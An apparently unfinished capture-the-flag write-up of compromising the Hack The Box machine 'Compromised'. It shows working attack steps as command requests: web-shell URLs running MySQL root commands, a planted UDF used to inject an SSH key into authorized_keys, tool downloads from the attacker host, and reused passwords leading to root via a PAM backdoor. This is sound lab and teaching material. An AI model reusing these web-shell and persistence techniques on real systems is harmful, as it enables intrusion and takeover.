Short description to include any strange things to be dealt with
TODO: finish writeup, and clean up
Useful Skills and Tools
Useful thing 1
description with generic example
Useful thing 2
description with generic example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.207. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves the output with a filename of <name>.
┌──(zweilos㉿kali)-[~/htb/compromised]
└─$ nmap -sCV -n -p- -Pn -v 10.10.10.207
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-26 15:53 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating Connect Scan at 15:53
Scanning 10.10.10.207 [65535 ports]
Discovered open port 22/tcp on 10.10.10.207
Discovered open port 80/tcp on 10.10.10.207
Connect Scan Timing: About 17.81% done; ETC: 15:56 (0:02:23 remaining)
Connect Scan Timing: About 37.26% done; ETC: 15:56 (0:01:43 remaining)
Connect Scan Timing: About 64.86% done; ETC: 15:56 (0:00:49 remaining)
Connect Scan Timing: About 80.09% done; ETC: 15:56 (0:00:32 remaining)
Completed Connect Scan at 15:56, 142.43s elapsed (65535 total ports)
Initiating Service scan at 15:56
Scanning 2 services on 10.10.10.207
Completed Service scan at 15:56, 5.01s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.207.
Initiating NSE at 15:56
Completed NSE at 15:57, 60.01s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 2.01s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Nmap scan report for 10.10.10.207
Host is up (0.0000020s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
NSE: Script Post-scanning.
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 210.64 seconds
Only two ports open, 22 - SSH, and 80 - HTTP
Port 80 - HTTP
Website selling rubber duckies on port 80;
Powered by LiteCart need to find version to see if there are any vulnerabilities
In the contact information found an email address admin@compromised.htb, which gave me a potential username, and a domain name. I added this to my /etc/hosts file.
Created an account on the site
I tried to reset the password for the email address I had found, but was told that it didn't exist in the database. I could potentially use this to find valid users later since the error is too verbose.
No SQL injection was possible in the input fields.
It seemed like a backup of the whole file structure of the site. There definitely had to be some interesting information in here, but there was a lot to go through. After searching through the files for awhile, it looked like the site had been compromised at some point, since there was a PHP backdoor included in the backup.
The /admin folder looked like a good place to start searching. I did a search for passwords in the files, and
the login page of the admin folder contained a reference to a log file that usernames and passwords were being written to
┌──(zweilos㉿kali)-[~/htb/compromised/shop/admin]
└─$ ls -la
total 116
drwxr-xr-x 24 zweilos zweilos 4096 Sep 3 07:50 .
drwxr-xr-x 11 zweilos zweilos 4096 May 28 2020 ..
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 addons.widget
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 appearance.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 catalog.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 countries.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 currencies.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 customers.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 discussions.widget
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 geo_zones.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 graphs.widget
-rw-r--r-- 1 zweilos zweilos 6460 May 14 2018 index.php
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 languages.app
-rw-r--r-- 1 zweilos zweilos 1364 Sep 3 07:50 login.php
-rw-r--r-- 1 zweilos zweilos 203 May 14 2018 logout.php
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 modules.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 orders.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 orders.widget
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 pages.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 reports.app
-rw-r--r-- 1 zweilos zweilos 4094 May 14 2018 search_results.json.php
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 settings.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 slides.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 stats.widget
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 tax.app
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 translations.app
drwxr-xr-x 2 zweilos zweilos 4096 May 28 2020 users.app
drwxr-xr-x 2 zweilos zweilos 4096 May 28 2020 vqmods.app
The file login.php had been modified more recently than everything else here, perhaps to comment out that line
┌──(zweilos㉿kali)-[~/htb/compromised/shop/includes]
└─$ ls -la
total 80
drwxr-xr-x 11 zweilos zweilos 4096 May 28 2020 .
drwxr-xr-x 11 zweilos zweilos 4096 May 28 2020 ..
-rw-r--r-- 1 zweilos zweilos 1955 May 14 2018 app_footer.inc.php
-rw-r--r-- 1 zweilos zweilos 996 May 14 2018 app_header.inc.php
-rw-r--r-- 1 zweilos zweilos 1808 May 14 2018 autoloader.inc.php
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 boxes
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 classes
-rw-r--r-- 1 zweilos zweilos 6064 May 14 2018 compatibility.inc.php
-rw-r--r-- 1 zweilos zweilos 9376 May 28 2020 config.inc.php
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 controllers
-rw-r--r-- 1 zweilos zweilos 2537 May 14 2018 error_handler.inc.php
drwxr-xr-x 2 zweilos zweilos 4096 May 28 2020 functions
-rw-r--r-- 1 zweilos zweilos 0 May 14 2018 index.html
drwxr-xr-x 2 zweilos zweilos 4096 Sep 3 07:49 library
drwxr-xr-x 8 zweilos zweilos 4096 May 14 2018 modules
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 references
drwxr-xr-x 2 zweilos zweilos 4096 May 14 2018 routes
drwxr-xr-x 4 zweilos zweilos 4096 May 14 2018 templates
The /includes/library folder had also been modified on Sep 3
┌──(zweilos㉿kali)-[~/…/compromised/shop/includes/library]
└─$ ls -la
total 200
drwxr-xr-x 2 zweilos zweilos 4096 Sep 3 07:49 .
drwxr-xr-x 11 zweilos zweilos 4096 Dec 26 18:26 ..
-rw-r--r-- 1 zweilos zweilos 0 May 14 2018 index.html
-rw-r--r-- 1 zweilos zweilos 1372 May 14 2018 lib_breadcrumbs.inc.php
-rw-r--r-- 1 zweilos zweilos 9237 May 14 2018 lib_cache.inc.php
-rw-r--r-- 1 zweilos zweilos 15785 May 14 2018 lib_cart.inc.php
-rw-r--r-- 1 zweilos zweilos 297 May 14 2018 lib_catalog.inc.php
-rw-r--r-- 1 zweilos zweilos 890 May 14 2018 lib_compression.inc.php
-rw-r--r-- 1 zweilos zweilos 8068 May 14 2018 lib_currency.inc.php
-rw-r--r-- 1 zweilos zweilos 12441 May 14 2018 lib_customer.inc.php
-rw-r--r-- 1 zweilos zweilos 6931 May 14 2018 lib_database.inc.php
-rw-r--r-- 1 zweilos zweilos 11532 May 14 2018 lib_document.inc.php
-rw-r--r-- 1 zweilos zweilos 1640 May 14 2018 lib_form.inc.php
-rw-r--r-- 1 zweilos zweilos 379 May 14 2018 lib_functions.inc.php
-rw-r--r-- 1 zweilos zweilos 12236 May 14 2018 lib_language.inc.php
-rw-r--r-- 1 zweilos zweilos 2939 May 14 2018 lib_length.inc.php
-rw-r--r-- 1 zweilos zweilos 7690 May 14 2018 lib_link.inc.php
-rw-r--r-- 1 zweilos zweilos 2002 May 14 2018 lib_notices.inc.php
-rw-r--r-- 1 zweilos zweilos 2787 May 14 2018 lib_reference.inc.php
-rw-r--r-- 1 zweilos zweilos 8388 May 14 2018 lib_route.inc.php
-rw-r--r-- 1 zweilos zweilos 10894 May 14 2018 lib_security.inc.php
-rw-r--r-- 1 zweilos zweilos 2256 May 14 2018 lib_session.inc.php
-rw-r--r-- 1 zweilos zweilos 2413 May 14 2018 lib_settings.inc.php
-rw-r--r-- 1 zweilos zweilos 3508 May 14 2018 lib_stats.inc.php
-rw-r--r-- 1 zweilos zweilos 7227 May 14 2018 lib_tax.inc.php
-rw-r--r-- 1 zweilos zweilos 8317 Sep 3 07:49 lib_user.inc.php
-rw-r--r-- 1 zweilos zweilos 4218 May 14 2018 lib_volume.inc.php
-rw-r--r-- 1 zweilos zweilos 2371 May 14 2018 lib_weight.inc.php
Checking the files in this folder lead to lib_user.inc.php. This file was also modified on September 3, and contained references to same hidden log file.
searching the rest of the folders found password hash in includes/config.inc.php
After getting sidetracked for awhile looking for potential passwords and hashes, I went back to looking at the modified files. Both files contained the same reference to this hidden log file, and both had been modified on Sep 3
There were only a few files modified on that day; There were no files in /admin/users.app/ that had been modified that day, so something had likely been deleted from there
I found the log file by navigating to it in my browser. The file contained credentials for an admin user User: admin Passwd: theNextGenSt0r3!~
Using these creds I tried to login to the admin page;
after logging in I got an interesting message that said some thing of the sort: "The last time you logged in was at IP 10.10.14.27. If this was not you your credentials may have been compromised". Unfortunately the message disappeared before I could screenshot it.
There was also a banner that said that the admin account was not .htpasswd protected
I noticed in the bottom corner of the page that the version of LiteCart they were using was 2.1.2, so I looked up whether there were any known vulnerabilities associated with that version
To use the exploit I needed to supply admin credentials, and the path of the admin login page. Luckily I already had that information. Sadly, the exploit was written in python2 so I had to do a bit of work to get it to run
I tried to get the version of PHP that the server was running using the phpinfo() method, and got back a ton of information from the server. There was pages and pages of configuration and environment information about the server and the current running context. version 7.2.24-0ubuntu0.18.04.6
More information, user context is www-data
Information overload
The PHP disabled_functions
After looking closely through all of the output, I noticed that there was a section called "disabled functions" which held all of the methods of code execution that I knew of
There were many functions disabled. Most had to do with executing code in some way, and some other interesting sounding php functions I didn't know of...but couldn't use here anyway
but there was another one from the same author that work up to 7.3; I modified the exploit POC to allow me to supply arbitrary commands, uploaded it, and tested it.
Success! I had code execution. I was running in the context of www-data
Got /etc/passwd There were three users who could login: sysadmin, mysql, and root
The mysql daemon
Checked output of ps aux and noticed mysqld was running. Perhaps I could enumerate the database since I had seen the tables and login information earlier
I checked to see what configuration files there were for mysqld
If there was a way to do this, maybe from the command line too
Enumerated databases
GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"show+tables"+ecom HTTP/1.1
Listed tables in the ecom database.
got code execution with GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"system+id"+ecom HTTP/1.1
had to specify -e to execute SQL commands, system to run system commands, and had to end the line with the database name 'ecom'
Unfortunately, I was still executing commands as www-data however, need to figure out how to escalate privileges; Found an interesting thing in the mysql references that talks about user defined variables
User-defined variables are session specific. A user variable defined by one client cannot be seen or used by other clients.
--------------
select * from user
--------------
Host User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create_tmp_table_priv Lock_tables_priv Execute_priv Repl_slave_priv Repl_client_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv Create_tablespace_priv ssl_type ssl_cipher x509_issuer x509_subject max_questions max_updates max_connections max_user_connections plugin authentication_string password_expired password_last_changed password_lifetime account_locked
localhost root Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y 0 0 0 0 mysql_native_password *C890DD6B4A77DC26B05EB1EE1E458A3E374D3E5B N 2020-05-09 02:15:14 NULL N
localhost mysql.session N N N N N N N N N N N N N N N Y N N N N N N N N N N N N N 0 0 0 0 mysql_native_password *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE N 2020-05-08 16:02:15 NULL Y
localhost mysql.sys N N N N N N N N N N N N N N N N N N N N N N N N N N N N N 0 0 0 0 mysql_native_password *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE N 2020-05-08 16:02:15 NULL Y
localhost debian-sys-maint Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y 0 0 0 0 mysql_native_password *7CDDF050D9C0BC9EB6FDFE3C9CBC1E5F852A9F7A N 2020-05-08 16:02:16 NULL N
Found the credentials for the root user for mysql
--------------
select * from func
--------------
name ret dl type
exec_cmd 0 libmysql.so function
There was one function stored in the func table in the mysql database called exec_cmd. I tried to use this function directly, but id didn't work. After some trial and error I found out that it had to used together with the SELECT SQL command.
GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"select+exec_cmd('id')"+mysql HTTP/1.1
From these results I could see that this function was running in the context of the user mysql. Since I knew that this user could log in, I tried to insert my SSH public key into their .ssh/authorized_keys file so I could login using SSH.
GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"select+exec_cmd('echo+ecdsa-sha2-nistp256+AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLNqKR/rHfuv30j7eOmU85z%2bEKhPfUFtn9WEARBZzwF6LFTCgjZzqAF0GevT3b22Z5iqwETgfF%2bQcmjAw3Ld9VY%3d+>>+~/.ssh/authorized_keys')"+mysql HTTP/1.1
Initial Foothold
Enumeration as mysql
┌──(zweilos㉿kali)-[~/htb/compromised]
└─$ ssh mysql@10.10.10.207 -i compromised.key 130 ⨯
Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$ id && hostname
uid=111(mysql) gid=113(mysql) groups=113(mysql)
compromised
mysql@compromised:~$ ls -la
total 189280
drwx------ 9 mysql mysql 4096 Dec 25 05:48 .
drwxr-xr-x 43 root root 4096 May 24 2020 ..
-rw-r----- 1 mysql mysql 56 May 8 2020 auto.cnf
lrwxrwxrwx 1 root root 9 May 9 2020 .bash_history -> /dev/null
-rw------- 1 mysql mysql 1680 May 8 2020 ca-key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 ca.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 client-cert.pem
-rw------- 1 mysql mysql 1676 May 8 2020 client-key.pem
-rw-r--r-- 1 root root 0 May 8 2020 debian-5.7.flag
drwxr-x--- 2 mysql mysql 12288 May 28 2020 ecom
drwx------ 3 mysql mysql 4096 May 9 2020 .gnupg
-rw-r----- 1 mysql mysql 527 Sep 12 19:57 ib_buffer_pool
-rw-r----- 1 mysql mysql 79691776 Dec 25 05:48 ibdata1
-rw-r----- 1 mysql mysql 50331648 Dec 25 05:48 ib_logfile0
-rw-r----- 1 mysql mysql 50331648 May 27 2020 ib_logfile1
-rw-r----- 1 mysql mysql 12582912 Dec 27 16:47 ibtmp1
drwxrwxr-x 3 mysql mysql 4096 May 9 2020 .local
drwxr-x--- 2 mysql mysql 4096 May 8 2020 mysql
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
drwxr-x--- 2 mysql mysql 4096 May 8 2020 performance_schema
-rw------- 1 mysql mysql 1680 May 8 2020 private_key.pem
-rw-r--r-- 1 mysql mysql 452 May 8 2020 public_key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 server-cert.pem
-rw------- 1 mysql mysql 1680 May 8 2020 server-key.pem
drwxrwxr-x 2 mysql mysql 4096 Sep 3 11:52 .ssh
-r--r----- 1 root mysql 787180 May 13 2020 strace-log.dat
drwxr-x--- 2 mysql mysql 12288 May 8 2020 sys
mysql@compromised:~$ pwd
/var/lib/mysql
mysql@compromised:~$ cat /home/mysql/user.txt
cat: /home/mysql/user.txt: No such file or directory
mysql@compromised:~$ cd /home
mysql@compromised:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 13 2020 .
drwxr-xr-x 24 root root 4096 Sep 9 12:02 ..
drwxr-x--- 2 root sysadmin 4096 Aug 31 03:16 sysadmin
My SSH key injection was sucessfull, and I was able to SSH into the box. I was able to login as mysql, but there was no user.txt in sight. It looked like I needed to move laterally to sysadmin first.
The strace tool intercepts and records any system calls (a.k.a. syscalls) performed and any signals received by a traced process. It is excellent for complex troubleshooting, but beware, as it has a high-performance impact for the traced process.
It looked like the password had been changed a few times. I took note of each of the passwords to see if any of them had been reused. Using the password 3*NLJE32I$Fe I was able to switch users to sysadmin.
User.txt
mysql@compromised:~$ su sysadmin
Password:
sysadmin@compromised:/var/lib/mysql$ cd ~
sysadmin@compromised:~$ ls -la
total 20
drwxr-x--- 2 root sysadmin 4096 Aug 31 03:16 .
drwxr-xr-x 3 root root 4096 May 13 2020 ..
lrwxrwxrwx 1 root sysadmin 9 May 13 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root sysadmin 3771 May 13 2020 .bashrc
-rw-r--r-- 1 root sysadmin 807 May 13 2020 .profile
-r--r----- 1 root sysadmin 33 Dec 25 05:48 user.txt
sysadmin@compromised:~$ cat user.txt
50df571e8910dbb06fd65f5de92de03d
Path to Power (Gaining Administrator Access)
Enumeration as sysadmin
sysadmin@compromised:~$ sudo -l
sudo: unable to resolve host compromised: Resource temporarily unavailable
[sudo] password for sysadmin:
Sorry, user sysadmin may not run sudo on compromised.
The user sysadmin was not able to use sudo. (What kind of sysadmin is this?)
sysadmin@compromised:/dev/shm$ wget http://10.10.15.98/linpeas.sh
--2020-12-27 20:45:23-- http://10.10.15.98/linpeas.sh
Connecting to 10.10.15.98:80...
sysadmin@compromised:/dev/shm$ ping 10.10.15.98
PING 10.10.15.98 (10.10.15.98) 56(84) bytes of data.
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted
^C
--- 10.10.15.98 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1017ms
sysadmin@compromised:/dev/shm$
I was unable to ping my computer, so I was worried that I wouldn't be able to connect back to my machine. I thought about using base64 "copy-pasta" to transfer files, but after an "Oh duh!" moment I remembered that I was able to SSH in, and therefore could use SCP to get files in.
Unfortunately, even awesome automated tools like linpeas.sh can only get you so much information. In this case, it didn't supply me with much of anything to go off, so I decided to do a bit more manual enumeration.
First I searched for obvious misconfigurations in sshd and other /etc configuration files but found nothing very interesting. Next I used the find command to search for hidden files.
There were a lot of hidden files, but one that stuck out was the file:
-rw-r--r-- 1 root root 198440 Aug 31 03:25 /lib/x86_64-linux-gnu/security/.pam_unix.so
PAM is the pluggable authentication module, and is what controls IAM for Linux machines. This shouldn't be a hidden file.
sysadmin@compromised:/lib/x86_64-linux-gnu/security$ ls -la
total 1340
drwxr-xr-x 2 root root 4096 Aug 31 03:26 .
drwxr-xr-x 4 root root 12288 Jul 16 19:36 ..
-rw-r--r-- 1 root root 18608 Feb 27 2019 pam_access.so
-rw-r--r-- 1 root root 10080 Nov 16 2017 pam_cap.so
-rw-r--r-- 1 root root 10304 Feb 27 2019 pam_debug.so
-rw-r--r-- 1 root root 5776 Feb 27 2019 pam_deny.so
-rw-r--r-- 1 root root 10272 Feb 27 2019 pam_echo.so
-rw-r--r-- 1 root root 14464 Feb 27 2019 pam_env.so
-rw-r--r-- 1 root root 14656 Feb 27 2019 pam_exec.so
-rw-r--r-- 1 root root 60304 Feb 27 2019 pam_extrausers.so
-rw-r--r-- 1 root root 10312 Feb 27 2019 pam_faildelay.so
-rw-r--r-- 1 root root 14512 Feb 27 2019 pam_filter.so
-rw-r--r-- 1 root root 10248 Feb 27 2019 pam_ftp.so
-rw-r--r-- 1 root root 14544 Feb 27 2019 pam_group.so
-rw-r--r-- 1 root root 10384 Feb 27 2019 pam_issue.so
-rw-r--r-- 1 root root 10280 Feb 27 2019 pam_keyinit.so
-rw-r--r-- 1 root root 14488 Feb 27 2019 pam_lastlog.so
-rw-r--r-- 1 root root 22872 Feb 27 2019 pam_limits.so
-rw-r--r-- 1 root root 10312 Feb 27 2019 pam_listfile.so
-rw-r--r-- 1 root root 10240 Feb 27 2019 pam_localuser.so
-rw-r--r-- 1 root root 10336 Feb 27 2019 pam_loginuid.so
-rw-r--r-- 1 root root 10312 Feb 27 2019 pam_mail.so
-rw-r--r-- 1 root root 10304 Feb 27 2019 pam_mkhomedir.so
-rw-r--r-- 1 root root 10336 Feb 27 2019 pam_motd.so
-rw-r--r-- 1 root root 39648 Feb 27 2019 pam_namespace.so
-rw-r--r-- 1 root root 10264 Feb 27 2019 pam_nologin.so
-rw-r--r-- 1 root root 6104 Feb 27 2019 pam_permit.so
-rw-r--r-- 1 root root 14600 Feb 27 2019 pam_pwhistory.so
-rw-r--r-- 1 root root 6136 Feb 27 2019 pam_rhosts.so
-rw-r--r-- 1 root root 10304 Feb 27 2019 pam_rootok.so
-rw-r--r-- 1 root root 10304 Feb 27 2019 pam_securetty.so
-rw-r--r-- 1 root root 18736 Feb 27 2019 pam_selinux.so
-rw-r--r-- 1 root root 14560 Feb 27 2019 pam_sepermit.so
-rw-r--r-- 1 root root 6152 Feb 27 2019 pam_shells.so
-rw-r--r-- 1 root root 14384 Feb 27 2019 pam_stress.so
-rw-r--r-- 1 root root 14424 Feb 27 2019 pam_succeed_if.so
-rw-r--r-- 1 root root 258040 Feb 6 2020 pam_systemd.so
-rw-r--r-- 1 root root 14512 Feb 27 2019 pam_tally2.so
-rw-r--r-- 1 root root 14472 Feb 27 2019 pam_tally.so
-rw-r--r-- 1 root root 14512 Feb 27 2019 pam_time.so
-rw-r--r-- 1 root root 18752 Feb 27 2019 pam_timestamp.so
-rw-r--r-- 1 root root 10304 Feb 27 2019 pam_tty_audit.so
-rw-r--r-- 1 root root 10376 Feb 27 2019 pam_umask.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 .pam_unix.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 pam_unix.so
-rw-r--r-- 1 root root 14448 Feb 27 2019 pam_userdb.so
-rw-r--r-- 1 root root 6104 Feb 27 2019 pam_warn.so
-rw-r--r-- 1 root root 10256 Feb 27 2019 pam_wheel.so
-rw-r--r-- 1 root root 18848 Feb 27 2019 pam_xauth.so
It was very suspicious that there were two versions of this file here, with one hidden. Even more suspicious was the fact that though pam_unix.so and the hidden version were the same file size and had the same modify date, thedate was very different from the reset of the files here.
After doing some basic analysis with strings and finding nothing, I copied the files back to my machine with SCP to look a bit deeper.
Using Ghidra for binary analysis
I opened the file in ghidra and started browsing through the code. Luckily the file was compiled with symbols and strings intact, which made browsing through the code much easier.
After searching for a long time and questioning whether I was in a rabbit hole, I found what I needed in the pam_sm_authenticate function. The c code decompiled by ghidra showed a variable named backdoor which stood out to me immediately.
Based on the code in the assembly view, it looked like these two strings were concatenated to make the backdoor password. It then uses strcmp to compare the backdoor password to the input password and allows authentication if they match. It didn't hurt to try!
It didn't work for switching users to root, but when looking at the code I had a thought. It said earlier that the code was little-endian, so...maybe the strings were backwards?
I combined the two halves of the password and tried to switch users to root.
Getting a shell
sysadmin@compromised:/dev/shm$ su root
Password:
su: Authentication failure
sysadmin@compromised:/dev/shm$ su -
Password:
root@compromised:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
compromised
